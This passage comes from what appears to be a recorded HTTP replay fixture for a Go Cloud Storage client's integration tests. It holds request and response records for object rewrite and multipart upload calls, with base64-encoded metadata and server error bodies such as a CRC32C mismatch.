tYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiejhTdUhRPT0iLCJldGFnIjoiQ1BDRHg4N3gvZUVDRUFFPSJ9" - } - }, - { - "ID": "284a06aa5d3f4c0f", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o/bucketInCopyAttrs/rewriteTo/b/go-integration-test-20190502-80633403432013-0001/o/bucketInCopyAttrs?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "62" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEifQo=" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "2972" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:43 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UqEuzT5vUHzBcQTT84B5lbxQRZ8Wazbvf7pARGdim0OKOWWM6MdR9KrH11f9w9bxrybc2YHzoveHnAwpEgFzwUcXlLN8xDttCt9pwOnPMX3My8utXg" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IlJlcXVpcmVkIiwiZGVidWdJbmZvIjoiY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89bnVsbCwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXt9LCBodHRwU3RhdHVzPWJhZFJlcXVlc3QsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLlJFUVVJUkVELCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1udWxsLCBlcnJvclByb3RvQ29kZT1SRVFVSVJFRCwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkuZGVzdGluYXRpb25fcmVzb3VyY2UuaWQubmFtZSwgbWVzc2FnZT1udWxsLCB1bm5hbWVkQXJndW1lbnRzPVtdfSwgbG9jYXRpb249ZW50aXR5LmRlc3RpbmF0aW9uX3Jlc291cmNlLmlkLm5hbWUsIG1lc3NhZ2U9UmVxdWlyZWQsIHJlYXNvbj1yZXF1aXJlZCwgcnBjQ29kZT00MDB9IFJlcXVpcmVkXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkVycm9yQ29sbGVjdG9yLnRvRmF1bHQoRXJyb3JDb2xsZWN0b3IuamF2YTo1NClcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnJlc3QuYWRhcHRlci5yb3N5LlJvc3lFcnJvckNvbnZlcnRlci50b0ZhdWx0KFJvc3lFcnJvckNvbnZlcnRlci5qYXZhOjY3KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjU5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUhhbmRsZXIkMi5jYWxsKFJvc3lIYW5kbGVyLmphdmE6MjM5KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuRGlyZWN0RXhlY3V0b3IuZXhlY3V0ZShEaXJlY3RFeGVjdXRvci5qYXZhOjMwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuZXhlY3V0ZUxpc3RlbmVyKEFic3RyYWN0RnV0dXJlLmphdmE6MTE0Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmNvbXBsZXRlKEFic3RyYWN0RnV0dXJlLmphdmE6OTYzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuc2V0KEFic3RyYWN0RnV0dXJlLmphdmE6NzMxKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS51dGlsLkNhbGxhYmxlRnV0dXJlLnJ1bihDYWxsYWJsZUZ1dHVyZS5qYXZhOjYyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIudGhyZWFkLlRocmVhZFRyYWNrZXJzJFRocmVhZFRyYWNraW5nUnVubmFibGUucnVuKFRocmVhZFRyYWNrZXJzLmphdmE6MTI2KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTo0NTMpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5zZXJ2ZXIuQ29tbW9uTW9kdWxlJENvbnRleHRDYXJyeWluZ0V4ZWN1dG9yU2VydmljZSQxLnJ1bkluQ29udGV4dChDb21tb25Nb2R1bGUuamF2YTo4MDIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUkMS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDYwKVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKFRyYWNlQ29udGV4dC5qYXZhOjMxOSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChUcmFjZUNvbnRleHQuamF2YTozMTEpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ1Nylcblx0YXQgY29tLmdvb2dsZS5nc2UuaW50ZXJuYWwuRGlzcGF0Y2hRdWV1ZUltcGwkV29ya2VyVGhyZWFkLnJ1bihEaXNwYXRjaFF1ZXVlSW1wbC5qYXZhOjQwMylcbiJ9XSwiY29kZSI6NDAwLCJtZXNzYWdlIjoiUmVxdWlyZWQifX0=" - } - }, - { - "ID": "631a4dc25c1479df", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjcmMzMmMiOiJjSCtBK3c9PSIsIm5hbWUiOiJoYXNoZXNPblVwbG9hZC0xIn0K", - "SSBjYW4ndCB3YWl0IHRvIGJlIHZlcmlmaWVk" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3321" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:44 GMT" - ], - "Etag": [ - "CIes587x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up5pzFgsk-trM6xfNGHCutAafrBhKStla4toQDjvEsTPe4TTesYnwc0KLg9WK95RXOKqdm_KUngd4hv6Tucfns_MALlJyx1s6A2cZR3vco6jKPTW00" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9oYXNoZXNPblVwbG9hZC0xLzE1NTY4MzU4ODQxOTMyODciLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9oYXNoZXNPblVwbG9hZC0xIiwibmFtZSI6Imhhc2hlc09uVXBsb2FkLTEiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NDE5MzI4NyIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsImNvbnRlbnRUeXBlIjoidGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNDo0NC4xOTJaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjQ6NDQuMTkyWiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI0OjQ0LjE5MloiLCJzaXplIjoiMjciLCJtZDVIYXNoIjoib2ZaakdsY1hQSmlHT0FmS0ZiSmwxUT09IiwibWVkaWFMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vZG93bmxvYWQvc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2hhc2hlc09uVXBsb2FkLTE/Z2VuZXJhdGlvbj0xNTU2ODM1ODg0MTkzMjg3JmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NDE5MzI4Ny9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvby9oYXNoZXNPblVwbG9hZC0xL2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJoYXNoZXNPblVwbG9hZC0xIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODQxOTMyODciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0llczU4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NDE5MzI4Ny9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vaGFzaGVzT25VcGxvYWQtMS9hY2wvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imhhc2hlc09uVXBsb2FkLTEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NDE5MzI4NyIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNJZXM1ODd4L2VFQ0VBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9oYXNoZXNPblVwbG9hZC0xLzE1NTY4MzU4ODQxOTMyODcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9vL2hhc2hlc09uVXBsb2FkLTEvYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJvYmplY3QiOiJoYXNoZXNPblVwbG9hZC0xIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU4ODQxOTMyODciLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0llczU4N3gvZUVDRUFFPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL2hhc2hlc09uVXBsb2FkLTEvMTU1NjgzNTg4NDE5MzI4Ny91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL28vaGFzaGVzT25VcGxvYWQtMS9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMSIsIm9iamVjdCI6Imhhc2hlc09uVXBsb2FkLTEiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTg4NDE5MzI4NyIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNJZXM1ODd4L2VFQ0VBRT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiY0grQSt3PT0iLCJldGFnIjoiQ0llczU4N3gvZUVDRUFFPSJ9" - } - }, - { - "ID": "e60d42eeeafea205", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/upload/storage/v1/b/go-integration-test-20190502-80633403432013-0001/o?alt=json\u0026prettyPrint=false\u0026projection=full\u0026uploadType=multipart", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "multipart/related", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEiLCJjcmMzMmMiOiJjSCtBL0E9PSIsIm5hbWUiOiJoYXNoZXNPblVwbG9hZC0xIn0K", - "SSBjYW4ndCB3YWl0IHRvIGJlIHZlcmlmaWVk" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "3301" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:24:44 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_single_post_uploads" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpZ9QOOcNdGntWr097PRNnaDFbt2xarczbyHRwkwxSiwRZIhV26iZGbh5vHIpvl3Z5Dxc7hjtWuutHTMn8jpCTEowLJNAre2A6mZxVNtV52Vh6XDX4" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6ImludmFsaWQiLCJtZXNzYWdlIjoiUHJvdmlkZWQgQ1JDMzJDIFwiY0grQS9BPT1cIiBkb2Vzbid0IG1hdGNoIGNhbGN1bGF0ZWQgQ1JDMzJDIFwiY0grQSt3PT1cIi4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5GYXVsdDogSW1tdXRhYmxlRXJyb3JEZWZpbml0aW9ue2Jhc2U9SU5WQUxJRF9WQUxVRSwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPW51bGwsIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5JTlZBTElEX1ZBTFVFLCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1udWxsLCBlcnJvclByb3RvQ29kZT1JTlZBTElEX1ZBTFVFLCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5jcmMzMmMsIG1lc3NhZ2U9UHJvdmlkZWQgQ1JDMzJDIFwiY0grQS9BPT1cIiBkb2Vzbid0IG1hdGNoIGNhbGN1bGF0ZWQgQ1JDMzJDIFwiY0grQSt3PT1cIi4sIHVubmFtZWRBcmd1bWVudHM9W2NIK0EvQT09XX0sIGxvY2F0aW9uPWVudGl0eS5yZXNvdXJjZS5jcmMzMmMsIG1lc3NhZ2U9UHJvdmlkZWQgQ1JDMzJDIFwiY0grQS9BPT1cIiBkb2Vzbid0IG1hdGNoIGNhbGN1bGF0ZWQgQ1JDMzJDIFwiY0grQSt3PT1cIi4sIHJlYXNvbj1pbnZhbGlkLCBycGNDb2RlPTQwMH0gUHJvdmlkZWQgQ1JDMzJDIFwiY0grQS9BPT1cIiBkb2Vzbid0IG1hdGNoIGNhbGN1bGF0ZWQgQ1JDMzJDIFwiY0grQSt3PT1cIi5cblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRXJyb3JDb2xsZWN0b3IudG9GYXVsdChFcnJvckNvbGxlY3Rvci5qYXZhOjU0KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIucmVzdC5hZGFwdGVyLnJvc3kuUm9zeUVycm9yQ29udmVydGVyLnRvRmF1bHQoUm9zeUVycm9yQ29udmVydGVyLmphdmE6NjcpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyNTkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5yZXN0LmFkYXB0ZXIucm9zeS5Sb3N5SGFuZGxlciQyLmNhbGwoUm9zeUhhbmRsZXIuamF2YToyMzkpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5EaXJlY3RFeGVjdXRvci5leGVjdXRlKERpcmVjdEV4ZWN1dG9yLmphdmE6MzApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5leGVjdXRlTGlzdGVuZXIoQWJzdHJhY3RGdXR1cmUuamF2YToxMTQzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi51dGlsLmNvbmN1cnJlbnQuQWJzdHJhY3RGdXR1cmUuY29tcGxldGUoQWJzdHJhY3RGdXR1cmUuamF2YTo5NjMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5zZXQoQWJzdHJhY3RGdXR1cmUuamF2YTo3MzEpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLnV0aWwuQ2FsbGFibGVGdXR1cmUucnVuKENhbGxhYmxlRnV0dXJlLmphdmE6NjIpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci50aHJlYWQuVGhyZWFkVHJhY2tlcnMkVGhyZWFkVHJhY2tpbmdSdW5uYWJsZS5ydW4oVGhyZWFkVHJhY2tlcnMuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkVHJhY2VDb250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjQ1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnNlcnZlci5Db21tb25Nb2R1bGUkQ29udGV4dENhcnJ5aW5nRXhlY3V0b3JTZXJ2aWNlJDEucnVuSW5Db250ZXh0KENvbW1vbk1vZHVsZS5qYXZhOjgwMilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZSQxLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NjApXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRBYnN0cmFjdFRyYWNlQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoVHJhY2VDb250ZXh0LmphdmE6MzE5KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KFRyYWNlQ29udGV4dC5qYXZhOjMxMSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW4oVHJhY2VDb250ZXh0LmphdmE6NDU3KVxuXHRhdCBjb20uZ29vZ2xlLmdzZS5pbnRlcm5hbC5EaXNwYXRjaFF1ZXVlSW1wbCRXb3JrZXJUaHJlYWQucnVuKERpc3BhdGNoUXVldWVJbXBsLmphdmE6NDAzKVxuIn1dLCJjb2RlIjo0MDAsIm1lc3NhZ2UiOiJQcm92aWRlZCBD